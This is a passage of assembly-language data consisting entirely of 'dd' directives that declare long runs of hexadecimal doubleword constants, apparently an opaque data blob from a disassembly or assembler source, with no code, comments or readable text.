		dd 3A8A60h, 8335073Fh, 0C7ABF6Eh, 59C3FF00h, 0D5FB818h
		dd 1BECBDh, 577430EEh, 9C3F80E5h, 0E6CB9100h, 0BF64AFE7h
		dd 78B100ABh, 850ACC03h, 1F0189FAh, 5B3E9929h, 39CC501Bh
		dd 0A1ED00D5h, 0E8526B12h, 0CC00ECC2h, 0CB7E8F6Ch, 3810EF2h
		dd 4C7D373Bh, 4F85AF8h,	1800EAF4h, 0BB85E0D7h, 2DBE8Fh
		dd 0C0CAF650h, 9FDAC3DFh, 0F8003E79h, 5895E232h, 2BA08Ah
		dd 245674BFh, 9E701F9Ch, 0DF591B00h, 52458794h,	81E709CFh
		dd 0A8801C2Bh, 0F5F9FA8Ch, 0F75F2A0Fh, 0F2C09DF0h, 222F49F6h
		dd 68F630h, 5A9975D0h, 6C79208Dh, 28F8FD30h, 8FC8DFh, 885D9D97h
		dd 2229319Bh, 0E8210828h, 0E16F622h, 64D91A7Fh,	0CCC1D6AFh
		dd 0C01F66A1h, 7900DB09h, 7E715013h, 8D2D73h, 9110A6F5h
		dd 80E3FA25h, 0B30B5500h, 0B54C0413h, 0DB8A0F3Dh, 0A7AE8D6Bh
		dd 499E7D80h, 5307F523h, 0A99211D0h, 0F2C11F90h, 2A170005h
		dd 8EE6214Ch, 0B6008937h, 0A2BE3D23h, 18323997h, 0C40B487Ah
		dd 0BB0FDF34h, 8B84BFh,	6F132988h, 0E7D9004Ah, 0C9E62F9Eh
		dd 5F7F21AEh, 9BA43000h, 59044929h, 12B8DEh, 33790508h
		dd 0D067D3AFh, 0FF884107h, 2642FDACh, 7C6440C8h, 7B390037h
		dd 9BF7C9EEh, 13770A92h, 47FA5B00h, 1AF30E6h, 73B03865h
		dd 9A9CC280h, 0F5A8EC32h, 0F61C8200h, 0D202AD9h, 42890FE0h
		dd 8F0F9619h, 0E635E120h, 0BC00234Ah, 0F13B5259h, 847C9Eh
		dd 0F5BED32Ch, 17E52A75h, 7178D700h, 0E2FE825Eh, 0E39403DAh
		dd 0A9CD914Fh, 1040439Ah, 77000CB8h, 5B7B3618h,	175E9Bh
		dd 0B2ADAC8Eh, 0C62013FDh, 0C81A48h, 55A10931h,	885F37h
		dd 3DACC92Bh, 181EDBFCh, 6B004FB8h, 0E83AC156h,	7316B9h
		dd 0CBFE1D74h, 52A11C3Ch, 0AD065924h, 0C1004B17h, 9326C8BBh
		dd 108D0022h, 54D579F4h, 0C100996Ah, 0F9D721DDh, 2A6BA8C6h
		dd 0FCB411h, 66A55DB7h,	34539654h, 3C55CC00h, 1E6D6C2Fh
		dd 5BC8010Ch, 2D40AD5Fh, 66F7410Ah, 0DF02036h, 642C34FDh
		dd 0B0846703h, 0C0E3030Ch, 249CC01Ch, 8014A73Fh, 4253A816h
		dd 1300836Ch, 0F61860FFh, 0FE646AB1h, 96E307DEh, 0C0C4CD9Fh
		dd 6816BBFAh, 31888700h, 3DDC8AC3h, 497D004Eh, 0D82C0811h
		dd 0A301867Fh, 30C9908Ch, 0FA80B0C0h, 871D63C2h, 2900B5EAh
		dd 83FF1A61h, 73FA10h, 3D42699h, 0A0A3F8ECh, 7800047Bh
		dd 7462F04Dh, 2594C77h,	0E8BF55F3h, 95608184h, 400EA7Fh
		dd 51894B25h, 0C068B07Eh, 965CDAB1h, 8C00B659h,	2E7F0A79h
		dd 297D9E5h, 749F702Ah,	2840E74Dh, 0EB3F21A4h, 0E65811h
		dd 96BB145Ch, 0F55AA2h,	40BE28DEh, 0E5AA300Ah, 7803BA00h
		dd 0B5BFE61Bh, 0A92900C1h, 55B089EDh, 2E1D335Fh, 59D24352h
		dd 45C42800h, 0E99F8CAh, 0E6348D91h, 0BCE439A0h, 0D00376B6h
		dd 0F8AD4D35h, 878B89Ah, 0CCA301B4h, 19BCFAE3h,	6004DC5Dh
		dd 9547EB01h, 232C1021h, 923E0460h, 0B7E43940h,	9BE98E80h
		dd 0E75834F4h, 0BA01F6FAh, 29F3A756h, 60CE458Ch, 9EBDCC5h
		dd 47772F21h, 583BB78Eh, 584616D8h, 0B0E9BF00h,	5B38E2C6h
		dd 0B809786Bh, 0FBDC04C2h, 8058CB73h, 8BBEE644h, 64DF1800h
		dd 0AFED11E9h, 49040F7Dh, 0BAE33C73h, 0CAA91714h, 4C6218h
		dd 0AA13A2B9h, 44E19Dh,	6FF8629Bh, 0AF07318Dh, 574B3D00h
		dd 7ADF16DBh, 0E8C80008h, 0F7D13B8Bh, 68125DC5h, 0FC5DE922h
		dd 0A045BF87h, 982EFA70h, 2802E8D6h, 3EE49BB9h,	183EF69Eh
		dd 86660C07h, 0A4388C1Fh, 0C6DB1400h, 0E022C92Eh, 33EE835h
		dd 0E6F2BF09h, 10002DE1h, 3FF4F8CEh, 7DE22C31h,	0BD2800D3h
		dd 136F4426h, 98792F78h, 9E0615E6h, 5ECBFAFEh, 0A8180024h
		dd 0C0D42416h, 250012F3h, 9548A2Dh, 3307319h, 69C56F61h
		dd 0B0046AFFh, 0DB26A033h, 35C3EC90h, 588B00FEh, 311B1F84h
		dd 250E6F1Ah, 60A9A43Fh, 28D6B38Eh, 7D8300C5h, 29D05D3Ch
		dd 4801E0DBh, 69C42624h, 0F8FC71B0h, 49933F0Ah,	473A2A80h
		dd 0CDD78615h, 4A8F0507h, 0ADC02112h, 38FDF979h, 92073653h
		dd 60376928h, 3D2BAA98h, 1AEC7B00h, 22A113BDh, 7D3F664h
		dd 9AC3B033h, 0F8FE505Bh, 731E9909h, 5DC1E679h,	0E2CE0247h
		dd 3F2B54A8h, 7BE863h, 0A2E01B0Dh, 8C2C55CFh, 805EBD3Dh
		dd 0DA3DD6F7h, 0FBC1A7h, 4882116Fh, 248A7FE9h, 0D6B40C07h
		dd 0DBD39A49h, 30E7E93Dh, 541AD3E0h, 698D8h, 5E8A6633h
		dd 65EA0D04h, 4AEC09C6h, 19260020h, 0E0971266h,	0A61F71CCh
		dd 0EA40CA60h, 527A2D56h, 0F9F00137h, 0B82104DCh, 0FC39ACBEh
		dd 20290E03h, 0DAC9B8E0h, 0C6DE3AC8h, 0B217330h, 340129D6h
		dd 0F79B8B06h, 0C9F9CFDCh, 0FFA2870h, 0AFA287E1h, 24DB687Bh
		dd 0D1ABB000h, 9BFC3405h, 30B172CCh, 4A5148EAh,	2718F2B9h
		dd 3112481h, 329701C1h,	46FABE98h, 830C7A6h, 0B9E4214Fh
		dd 1877C97h, 287D8431h,	0EDBCC3D2h, 5058B2ECh, 97C0302Ch
		dd 962A5C90h, 4E4428FBh, 97BC00EDh, 7DCF245Ch, 25005847h
		dd 0FA06FF6Ah, 359D39DCh, 7D0F8E7h, 43928FB0h, 70C055B6h
		dd 6F0082A7h, 5212B43h,	1897C71h, 40780D67h, 0F1C66DCAh
		dd 3E4460F6h, 0BF0007F2h, 1D7115BAh, 71692D81h,	483A01EEh
		dd 9F945514h, 4723E4EDh, 2618E360h, 0F6F08653h,	0E6E01CA5h
		dd 815241D9h, 9F79430Fh, 0DD407438h, 7357061Fh,	0A3EA0E41h
		dd 0C56076DAh, 4D3AB14Bh, 0F0E88E00h, 70FCB38Bh, 374700BDh
		dd 769F01A5h, 0A6A2642Dh, 2ECB86C0h, 0E4B98E00h, 2093222Ch
		dd 5F1F078Fh, 0F03F60E9h, 0AE530581h, 4762CF1Ch, 0C74A828Fh
		dd 0A850E0A4h, 1D16E3D9h, 5A997F8h, 0C02B14F6h,	0B911A601h
		dd 330CEF01h, 4F929324h, 0FD9870h, 0EEECCA70h, 4B3EFF07h
		dd 0C73AC800h, 7F72D7D1h, 2AF4F8h, 0CB52ABEDh, 0B16F5FDCh
		dd 3820E400h, 71593CD1h, 757E000Bh, 5840FCDDh, 0F700A582h
		dd 9F369E61h, 95BEC6h, 8459F21Fh, 2F4A42F8h, 0C3004A98h
		dd 4F866C65h, 6E6EC9Dh,	0D4EF2935h, 370030C7h, 3BACB3B9h
		dd 2ABC9080h, 0CC7445h,	5723029Ah, 8D251906h, 1FB36A07h
		dd 0C5C05E3Dh, 0A086D154h, 0EE7EA4h, 0A6739332h, 0A40DC3D8h
		dd 6DA0F601h, 7D457898h, 6210F0h, 8F33B027h, 0F677DA58h
		dd 2118A0F0h, 0B2703BC0h, 664507A3h, 63407128h,	51D0AF58h
		dd 81905417h, 0EF777D00h, 44CC6E0Ah, 88211E26h,	0AB70C0B5h
		dd 0B39AD209h, 0C4AC4B00h, 81C5A855h, 1816007Ch, 0EC0E0792h
		dd 0B53934EBh, 991D7E85h, 0AD80CC62h, 0E9701EEAh, 2A0B030Ch
		dd 0FD6A2656h, 0BC995CF0h, 0AAA8B700h, 58696B49h, 0D2F305E9h
		dd 0EF078970h, 96B9F480h, 0ACAA0117h, 1EA9C584h, 0FCCFED59h
		dd 7C281F1Ch, 31058272h, 5FDD6091h, 0E526B001h,	34EC952Bh
		dd 2EC9002Fh, 0ED3651EEh, 22009F3Ah, 7E96F8BFh,	0BA210Dh
		dd 4EB3E68Dh, 3E4D1F04h, 0FC409703h, 80CF8A51h,	48BCBD74h
		dd 0A00B5C23h, 2383B939h, 0D087B121h, 0EA2C9DD2h, 5E7C4B00h
		dd 35549592h, 51BA0122h, 0F3165ACEh, 0E2C0CBCAh, 0A3183BFFh
		dd 0E68947A5h, 2C820CBBh, 0C4A8C541h, 0ABE2B00h, 4F4AD147h
		dd 1F700B7h, 0EE577367h, 0E0077856h, 0BA247AD8h, 0F805FF53h
		dd 0E9D73Fh, 0FA0F361Ah, 92A55276h, 0C000C57Ah,	0DDA2ADD4h
		dd 1C3FC8B8h, 0C08C49CAh, 0CE7B5D3Ah, 8400AFBAh, 3779C04Ah
		dd 1F10509h, 63B026B3h,	0D46BB26Ch, 0E905E684h,	7595314Bh
		dd 9B103B80h, 0C0EE60E8h, 0E280B8C1h, 6D70511Fh, 6B7CFBC0h
		dd 928FF72Eh, 835A00F4h, 1030D27Fh, 8A004BD9h, 0E4C95D58h
		dd 7E0431ABh, 7B70924Fh, 751B1306h, 0BE1C40CAh,	0D2E98D41h
		dd 0E35A8100h, 9269DB6h, 0F8F00060h, 0FBF63593h, 18011571h
		dd 68143B4Fh, 0D450D1E1h, 61B2E322h, 0CB668C4h,	2BF4D4CBh
		dd 88379A00h, 60BF2015h, 0AC483931h, 62227900h,	0EA442F02h
		dd 512C2E1Dh, 154B5EC0h, 1E53490Ah, 0DED6CBh, 0FA8473BFh
		dd 920F1AD1h, 670929AAh, 6050C94Eh, 59F3ECh, 235E273Eh
		dd 712A2673h, 1E034F00h, 281F414Ch, 172F00BBh, 8EB09F30h
		dd 6E008D23h, 82E298B8h, 77FAC244h, 3FE300DFh, 0B2E94D37h
		dd 601CF6F0h, 0C6C1C558h, 0DA3996FCh, 5FEDC040h, 76CC7DB4h
		dd 0E4580027h, 82854BF6h, 500FC668h, 0A3F48B6Fh, 0B01A879Fh
		dd 618B783h, 0BB9E193Ah, 4112C41Dh, 7400884Fh, 0ACB949Fh
		dd 3B2E073Ch, 104A1C58h, 507FCDAEh, 0E47C0E00h,	13050276h
		dd 0E6960E71h, 2100908Ah, 8F5EFD16h, 9F84EA00h,	139812DCh
		dd 3FC103BAh, 0FB5B74AEh, 796E3CD0h, 18569E39h,	0C6C03887h
		dd 0C5C90766h, 4093EC1Dh, 5DD62BE4h, 0D7B1C814h, 0AA0778E0h
		dd 38F757D8h, 32F612A0h, 8ADB24BAh, 8B3C8114h, 34A02068h
		dd 760F25A8h, 608E2428h, 0F80438B9h, 6AF42850h,	8BA93CFCh
		dd 0BA45CC80h, 0EE76E38Fh, 87941107h, 6323F32Ah, 0C951A853h
		dd 7CEA01FDh, 3329E857h, 53B03FE4h, 0A17300C0h,	74FC55D7h
		dd 4030DEC7h, 9C454894h, 86C203CFh, 0DFDE6A8h, 77F3F9B8h
		dd 67B78101h, 5CFFFC51h, 0F7B17A80h, 0AD57ADAh,	0F1E90F07h
		dd 0AB50F2BCh, 80D340h,	449B575Dh, 13331724h, 5277727Ch
		dd 8008D13Bh, 863C88D0h, 0FF3159Ah, 14DB4C28h, 0CCCADDE3h
		dd 1A50D6D0h, 0C39A5A00h, 267B55F2h, 461E00BEh,	17A59385h
		dd 0BD009F0Bh, 4912D258h, 0E0372FB2h, 0EDE50069h, 0FFCC173Dh
		dd 0CD006661h, 0FDABAD2Eh, 3F9809h, 0B5A65538h,	2B3D4A6Bh
		dd 1FA2BB48h, 0F1D7632Fh, 59938D00h, 407926h, 5C217D5Ah
		dd 30886F42h, 5BF3CC0Dh, 26E54076h, 3C71464h, 0B78F9B1Ah
		dd 78070A88h, 0E3368483h, 0F098C410h, 9011007Ch, 0F5D505ACh
		dd 0AF05B0DFh, 0E24D1AB5h, 8B68CB80h, 3EC400B8h, 2A631948h
		dd 5500DE57h, 42CD1375h, 6BA9ABh, 449E520Dh, 693A6095h
		dd 19BC9C09h, 0BC4A0B6h, 0A94813h, 6C1E2365h, 274FE7D0h
		dd 4438FA00h, 835D1618h, 955300D2h, 0BFA2B596h,	0AF009EDEh
		dd 0DC5AF3E0h, 7336251Ch, 0E6750328h, 0D79C7437h, 41ACBE02h
		dd 483EEA6Fh, 2591A550h, 0ABD82BE2h, 86CD7A05h,	105FE96Fh
		dd 24564060h, 8C4928CEh, 0DE252095h, 0AEB80C18h, 3EF14611h
		dd 0F1E48AF4h, 621238C0h
		dd 0E86E2826h, 3AA22C81h, 0ECF08B3Dh, 265881F1h, 6080F2B6h
		dd 72FC6E1Ch, 5C019869h, 0A4CA3739h, 0F434E1A9h, 0E6C0CC60h
		dd 8C7E7438h, 0A2128100h, 3B1CEFD5h, 8BC53786h,	0A1FF8080h
		dd 127BF74Dh, 0F191F300h, 44BCCC83h, 0C63E00B8h, 0CD26C85Ah
		dd 0E439AD5Dh, 0F200F6DFh, 0E60EE80Ah, 288A302h, 2B7A93E7h
		dd 0CAC097B7h, 2E005CD2h, 0BF4A1892h, 1858CCAAh, 0A23A4DCFh
		dd 0FF75D8ECh, 698E4B05h, 35807962h, 1F3DB4C6h,	8034AFF3h
		dd 0DF4D2F0Ch, 5F0197A6h, 6426303Ah, 0D860EF8Fh, 8C7B001Ch
		dd 0DBF72BCFh, 1903CBFDh, 0FE48DC75h, 224D138h,	421AEA40h
		dd 0CBBC0F0Dh, 2D810C9Fh, 40A4DEC4h, 793741B0h,	9BB2B800h
		dd 0B70F6673h, 2BC03FEh, 0E3999FB4h, 2CAF701Ch,	71A89140h
		dd 32DD92h, 4E6B57Eh, 21AD355Fh, 0E7936F00h, 0D7A63A0Fh
		dd 14C0C7Ch, 2C0CD08Ah,	3414ED01h, 0A98782A3h, 70AB32DCh
		dd 53030186h, 8CF9C344h, 5123C42Ah, 8B2CA906h, 2AB2FCh
		dd 4C0A8408h, 7E9F2817h, 9C59B00h, 0F9E07BE6h, 0B4409C9h
		dd 0CCA851C3h, 570421FCh, 161F670h, 0B162DA57h,	4E9E264Ch
		dd 0DDC5F038h, 6030FF6Eh, 0B8F3002Fh, 0BF8B8C39h, 1513A14Eh
		dd 3C0E8E56h, 0E182AFC5h, 0FA4AA2F2h, 84E72990h, 424852E9h
		dd 0B906B241h, 4F11E302h, 0FE74E109h, 21F94203h, 1008BF51h
		dd 751A8C5Dh, 4284B129h, 5194119Bh, 50282628h, 447750B0h
		dd 564441BEh, 5828A0D2h, 417389FCh, 12786D14h, 2EBF10DEh
		dd 880FB740h, 981CB8BCh, 20406E03h, 0A7F1E179h,	5B3501CBh
		dd 0F2EB8023h, 455DC4C8h, 48671600h, 0B021B834h, 974000D4h
		dd 1BD50A46h, 0D0086BAh, 617995F3h, 0FBFE26h, 8BA74C93h
		dd 1722EC7Ah, 0B6C0E000h, 6F85D0E4h, 4D6600DBh,	1AC1873Eh
		dd 0CE006862h, 17721FC2h, 0F4A04932h, 7063DADh,	510A283Fh
		dd 1CC96368h, 0B2F440AEh, 9E94F65h, 0BAFEFB00h,	0BE0EDB7Ch
		dd 7609CCEh, 0C0A43CE0h, 0D2B7ADACh, 7F785400h,	0E37999D1h
		dd 2B6200B8h, 0DF9D2E85h, 0AE018F28h, 618459B1h, 2C24C3E8h
		dd 8BA60FF5h, 0BA80B253h, 3F4B7C70h, 34E70600h,	4274D567h
		dd 50150E1Ah, 2560FFD0h, 4EE5890Bh, 73105D00h, 616FD6E0h
		dd 0BD86004Dh, 10B0FFDh, 1D18C2E8h, 0EF315A19h,	4234006Dh
		dd 23C54705h, 6478B467h, 0C7004DE4h, 3AF49AABh,	3C81176Fh
		dd 0DE803C2Bh, 872CF0E3h, 8B790104h, 224EA101h,	3693E5C7h
		dd 0FBA370h, 9ADDDB3Fh,	810496C0h, 375C5200h, 0D62692F7h
		dd 9DBF0097h, 2E450FF5h, 0D000963Ch, 62B66A4Bh,	0E7E14Dh
		dd 9111B8FBh, 0F0F8BB55h, 527D000h, 588AEE13h, 107800ABh
		dd 411A1719h, 0AA3F50C1h, 63007F70h, 0EC326D92h, 0ACD037h
		dd 0EA54C261h, 66E731F4h, 0DB58C01h, 0D668DC01h, 0CB25082h
		dd 0B9803478h, 7AB4C404h, 385EAE00h, 215423B1h,	886B008Ch
		dd 0FD7D80A4h, 5900225Bh, 0D476FE98h, 0E004CDECh, 1BAA0061h
		dd 8B5B13E6h, 4C00D184h, 0FC2E399Eh, 0F7990CEh,	4A0CAE64h
		dd 3B77DBA0h, 163E31EBh, 66AF1C9Ch, 20595B09h, 0C710044Ch
		dd 0CD27008Dh, 0BE8E0AEFh, 6B00818Fh, 0BA604B5Bh, 1F38ED61h
		dd 0B92C7Eh, 84851D88h,	4302D18Fh, 4417241Eh, 4E304057h
		dd 269300EEh, 61853C22h, 8788C02Fh, 52CB00BEh, 0E7F39F6h
		dd 0FC00BD6Ch, 0BA366558h, 728C32E5h, 74EA0059h, 0B50D5781h
		dd 40013F2h, 89B49A6Ah,	3B2AD30Bh, 0AD0009B1h, 0EC28FF9h
		dd 0F000327h, 0A8239EEAh, 0EF53E04h, 0C186DAE6h, 496A0C80h
		dd 6E002037h, 5C1643F2h, 46AC26h, 7BF89C15h, 0FD42324Fh
		dd 0B85848h, 942C5F74h,	7009FEh, 235EAD25h, 0B5D119F0h
		dd 7E105A00h, 8D32D72Bh, 77EB006Ah, 0C848F686h,	0BE00DCEEh
		dd 0F5BA24BFh, 0E3A342h, 7FEAC1B1h, 0DB8F7725h,	2FFF903h
		dd 0B8B64F03h, 912E5CAh, 855F70FDh, 24DC6380h, 0CD1CE24Dh
		dd 63408BB0h, 0C8C20E47h, 0B39300C0h, 25E13E5Bh, 6801BBE5h
		dd 0F06B33ACh, 6AC08465h, 0AEBD00CBh, 0F64A75F3h, 0CF00CA34h
		dd 0FB9B2F98h, 719FCCDh, 28573CF0h, 54D61047h, 0A6000CF5h
		dd 7E2640Fh, 19C4984h, 28130272h, 0C1AE6CD3h, 384ED027h
		dd 440031F4h, 2BEB6E73h, 9AFB46h, 0BB608BF1h, 55D742F4h
		dd 4A861C09h, 0E14F81FFh, 0ACDCA866h, 8FB80079h, 0AB01972Fh
		dd 1300B00Fh, 5D70A376h, 1873BFh, 0E71DB427h, 54FAF7ADh
		dd 1277FD01h, 43AE4BE6h, 19FA920h, 39A7C174h, 0C8CE446Fh
		dd 4133E2D3h, 0A0406E1Ah, 60CB030Eh, 6248484Eh,	9A20D59Ch
		dd 0DD060021h, 0BDBC4D79h, 6D00BA82h, 0B96E42Eh, 19FD44h
		dd 2E0776Eh, 45BCBBF3h,	0C418CB28h, 521C8C01h, 0A0FA0F1Bh
		dd 7A722860h, 41AD076Fh, 91EC97FBh, 0F0542223h,	0D77B4394h
		dd 0AE2A2B18h, 6E7A820h, 0A1DB8640h, 1C0198CAh,	0B3E0A28Fh
		dd 2C20F2D6h, 61F707E4h, 0F07BF519h, 31D3485Dh,	3C6B1703h
		dd 0E8C5CA69h, 0F680677h, 0B464494Eh, 815D9A80h, 80A0D973h
		dd 550FB64Dh, 3E317E7h,	0E0E425F1h, 0B3D637h, 0E06B9CBEh
		dd 733D9F21h, 0C842EA16h, 0AE48D900h, 0FF05E3h,	4C20E726h
		dd 5F0A8BB8h, 14130800h, 0A244F758h, 947F76h, 0F6748C29h
		dd 9D065451h, 81FEA500h, 7212C9C6h, 1EE13E4Fh, 0AC678300h
		dd 0F4FA1062h, 0B9736FFEh, 0BEF12B00h, 0B2D6A668h, 0D4070132h
		dd 5C8F5D24h, 0D70BF0A8h, 0B9D5AD00h, 6D2F3D74h, 0FFA21FD0h
		dd 0A1378077h, 0F9197511h, 0FA9F5E00h, 10979286h, 0CD89006Fh
		dd 7EF17BD2h, 25F8371Dh, 0DC2C7D28h, 53122D24h,	6EA1C200h
		dd 2229DEh, 9CBA53F3h, 1945C641h, 924CC800h, 0E5C5508Ah
		dd 2BCB00A6h, 0D553491Ch, 950194B4h, 8F3A2F29h,	3C5633Bh
		dd 3DDCA020h, 0FC12C8B6h, 0DF3D0016h, 75346493h, 0FFACF00h
		dd 873C986Fh, 7E8907D8h, 81CD601Eh, 0FF3E32F0h,	0C08B58E1h
		dd 603E35Ah, 0EEA9A8E8h, 5DF0E00Eh, 0D940C0E9h,	434C99FDh
		dd 3B7A6309h, 68EC009Eh, 3BE321Dh, 6D62CF07h, 1907971Ch
		dd 989587D1h, 0BAD3605Eh, 775156Ch, 0DBF2D72Fh,	5E2A709Dh
		dd 0AD00BEB4h, 0ACF8EE02h, 0E3EE8BDh, 0C7346389h, 8B4D4660h
		dd 0BA3C99AEh, 826EB97Ah, 0D1130D67h, 972C4015h, 0F3D51DBCh
		dd 82598016h, 0EBDDECBBh, 60383E00h, 0C6EFC283h, 9A460001h
		dd 420994Eh, 0CA0F61F5h, 40C97D8Ch, 9C57F3D6h, 2239045Ah
		dd 87F44399h, 86E1200Ch, 7E00E7CCh, 1F903D0Ch, 7AA5B1h
		dd 3616E6DAh, 21E23E44h, 37048CFEh, 2388E727h, 5DF37087h
		dd 0D07AC89Ah, 0F8831F01h, 5F4B0020h, 9CF0FD80h, 701D0C1Fh
		dd 526D3780h, 2B4044h, 0C8D8C1B8h, 39D4B48h, 0F843Bh, 324DA1E3h
		dd 1C8DA2h, 8FCFE773h, 0ECC8B720h, 0CE6CA803h, 93523738h
		dd 0F2D4884Fh, 0FAEF00D5h, 6642C6B3h, 0C0098145h, 87CCC9E2h
		dd 0E0F03C20h, 1227958h, 0E62CFD5Ah, 0C9B0AB51h, 61A08087h
		dd 3F7B8466h, 3DFF12B1h, 5733000Dh, 1C3B3E1Bh, 935F780Eh
		dd 0FE045EF8h, 54C51480h, 761BC0BEh, 0BE005B7Fh, 2717C4BCh
		dd 39E3C70h, 355CDE66h,	0B800E53Bh, 86951824h, 0F4B476B8h
		dd 389797Bh, 2AE7EC5h, 0F3A80F9Ch, 380032DBh, 925ABF1Dh
		dd 9995F68h, 22647129h,	0A8A5A800h, 2400F353h, 9F66A1F8h
		dd 3EFC1B78h, 6D80D4DCh, 1830515Ch, 3DFAA0F3h, 336EFD00h
		dd 7BB69443h, 5F0B3D0Dh, 0A88FA112h, 2B7C098Fh,	84A80002h
		dd 0C04E711Fh
		dd 37D26F7Eh, 2E5865D4h, 5CEC1F30h, 18C9B840h, 0E66A549Bh
		dd 7CE60F1Ah, 3013093h,	214B6B52h, 0E9C8CCC4h, 43EE2700h
		dd 0D9676564h, 430E6BDh, 559E456Ch, 1A648014h, 8B32A110h
		dd 4046D81Fh, 834B3Ch, 0DF4EFA59h, 0FFEEA30Dh, 0EFC6D000h
		dd 0D2116D1Dh, 0D953070Ah, 8035FDADh, 0A7FF8324h, 47389300h
		dd 89F5B1Eh, 504074Ah, 7012824Ch, 0F21CDF9Ah, 7BF5524h
		dd 8BD27200h, 3D99C8h, 0B0C7AB6Dh, 7C93E714h, 0B9823609h
		dd 28AA0002h, 785C5BAh,	661F1370h, 111B712Ah, 0D0B4D87Dh
		dd 6F511600h, 0F2A2896Bh, 313A0029h, 0C5E4A62Eh, 0FE173382h
		dd 14005835h, 92665D73h, 0FCE401h, 6B10D06Eh, 2C8E64F6h
		dd 68075198h, 0E75F07B1h, 5DE1A080h, 0F4F673BBh, 78E7D90h
		dd 0CD27107Fh, 0F1A87018h, 0D501CA84h, 0DFBD8901h, 8BFC4D88h
		dd 4B24012Dh, 1C1180D0h, 6113FC5Bh, 5A15C800h, 40F95D3Bh
		dd 3AD40048h, 0BB687E91h, 57671814h, 5B700619h,	772C9C4Dh
		dd 0BC77000Eh, 0B5DDA43Fh, 91006649h, 0BA5FF595h, 0EF1258DBh
		dd 45FE70h, 0E1491973h,	0A13FF2Ah, 868CCC00h, 20381F5h
		dd 2C050779h, 0C0FC31F6h, 0B6AE3C6Eh, 0E6B74F00h, 1DC15A48h
		dd 80C0075h, 0A2A9CBF0h, 4A006DC4h, 16762C10h, 0CDC7873h
		dd 2695F658h, 0FB3911A8h, 0D2238087h, 0F4DACCC4h, 914100F7h
		dd 72625D01h, 0D83E1C56h, 80A5BC05h, 0EFD45E82h, 0A2ADECh
		dd 3B37695Ah, 32BC98E8h, 3653FA00h, 0BFEB92ACh,	84E00022h
		dd 0DA454E40h, 8F00CBFBh, 5DA6C50Eh, 9F627Eh, 2E3E5EC7h
		dd 3D65A2E6h, 1F7C8B04h, 81C76A23h, 932B8030h, 0A47F6Dh
		dd 0C40689A9h, 634408C5h, 0EF698D03h, 0EB7270DEh, 9190D715h
		dd 0A04A75h, 0BE76A464h, 0B93411D9h, 960EBA03h,	0F047E365h
		dd 3BDFC1FBh, 0B88085B3h, 0F182165Ch, 7E3F212Bh, 29E1007Fh
		dd 0B338FD64h, 0CC200062h, 67158A5Ah, 3B0090AEh, 0B8D491B7h
		dd 6C1222h, 0D49A73Eh, 85CB27C0h, 60A84100h, 0EFFB88DEh
		dd 0B9E60001h, 25295171h, 9398D1A9h, 47632700h,	60E52D0Bh
		dd 7597C62h, 725CDBB1h,	2770D019h, 5198D38Ah, 0B800FA71h
		dd 216A0104h, 538766h, 0DFA0A99Ch, 0F9D871E8h, 0D0860B0Ch
		dd 26A05Ch, 1578EB34h, 96277A6Dh, 10C23A01h, 7BAE5D07h
		dd 804A3040h, 0B21E0004h, 64B9A68Fh, 0D90784A2h, 0CB2D6908h
		dd 790BF7D0h, 81C20972h, 18008224h, 0C6597D7Ch,	77385B1Dh
		dd 75F3D040h, 0A12B234h, 30582463h, 2DF600F0h, 0CE18461Fh
		dd 854A441Eh, 0AB543980h, 3D7284F9h, 0FB00DFA5h, 0E59110Ch
		dd 4D488B62h, 24560062h, 4174A2F5h, 36048C7h, 0ABDBC100h
		dd 8BA76847h, 0DD831B00h, 4D78D9B4h, 584C00B6h,	4A92C269h
		dd 0CE00505Ah, 0B2E504C5h, 3E57887Ah, 3280AB23h, 27F74303h
		dd 0A6005A6Dh, 0B94DF377h, 925073Dh, 8039836Bh,	1FC67C00h
		dd 421C0DABh, 0C24040B8h, 4D95C34Fh, 0B4300BDh,	929C38DBh
		dd 34002F45h, 0CB6C7BA1h, 0ABF31Bh, 433D9065h, 0BDC915E5h
		dd 0F93C2172h, 82C4CB0h, 16AF33h, 76C208B9h, 700E2EEh
		dd 83126DEBh, 350481h, 8A869E29h, 0BE06FF65h, 90AD7901h
		dd 0B4C35201h, 0A6E480E6h, 72868D7h, 9796C13Fh,	58A02951h
		dd 3986D97Eh, 8B7C2102h, 40686E19h, 12D70Ch, 7E643115h
		dd 2DBC696h, 9A492D26h,	0E2E1AF00h, 0E638EC34h,	0A27C078Fh
		dd 10F4C0CDh, 728E58CAh, 0D35F3Bh, 0D24ED0D9h, 48864C43h
		dd 7045C5Bh, 1EE4E9h, 0C17D4DF9h, 5789879h, 714A3C43h
		dd 0E126C0B5h, 0F700D2EBh, 0B6CEDA5Fh, 0E5DF7Ah, 0B2D71A55h
		dd 118576C1h, 75813000h, 7DA3578Ah, 0FA4A040Ah,	90D2F20Bh
		dd 141EA770h, 5D0A00B0h, 882F6BB3h, 6450703Eh, 0BC13C294h
		dd 0AC00E4B4h, 5EE76E51h, 0C7A2019Bh, 0AFEBBAF6h, 0C496D94Fh
		dd 0F090EF37h, 2F9D8204h, 2B00691Ah, 0A8E48187h, 3C02321Fh
		dd 0DC79B740h, 7FB37B0h, 90B83152h, 0DFE730EDh,	9C00D6F1h
		dd 0D5598161h, 13E001D8h, 153579Bh, 50B51D8Ch, 8B945012h
		dd 2E00818Dh, 0CE4FE0B7h, 2DFCD3h, 0CDDD9A85h, 46D532BAh
		dd 0BB1EA300h, 5C8CD61Dh, 18C500BFh, 37D3F014h,	0B2499F2Fh
		dd 9C3408C8h, 0DED805Dh, 486B3664h, 73C8D614h, 81B101E7h
		dd 5260FAE6h, 0FDF1A70h, 0CC37A1Eh, 1DA0960Ah, 28248Dh
		dd 59192F71h, 0A201E57Ch, 0EF146C21h, 0B89F61B6h, 5BE80001h
		dd 0E99ADFB8h, 40C3E21Ch, 0D7482700h, 30A9C6h, 1B830678h
		dd 6F9D2522h, 46D238C0h, 0D9F4A0h, 3B649934h, 0D6BFB56Ah
		dd 8DDB4A0Eh, 69706073h, 50C40CFFh, 0F5F0D5h, 72972228h
		dd 7309BACh, 0AF3A5800h, 0E9B8E78Ah, 315B0020h,	8941A466h
		dd 8CB0820Fh, 48D97501h, 0DD5AFF9Ah, 7F06BE4h, 0EB883E56h
		dd 0E22B503Fh, 0EA1C36BAh, 5A303746h, 58CF606Eh, 1D01EA47h
		dd 0C267F2EDh, 4FC1F468h, 649FCD00h, 0C3C655E6h, 0B2A80B7Eh
		dd 0F500013Fh, 0B442C1E4h, 0E948EEFEh, 0E2AB0034h, 28CE6E84h
		dd 50CA0138h, 5A9EA4AEh, 900C40E4h, 0A2F86D31h,	0E9584D00h
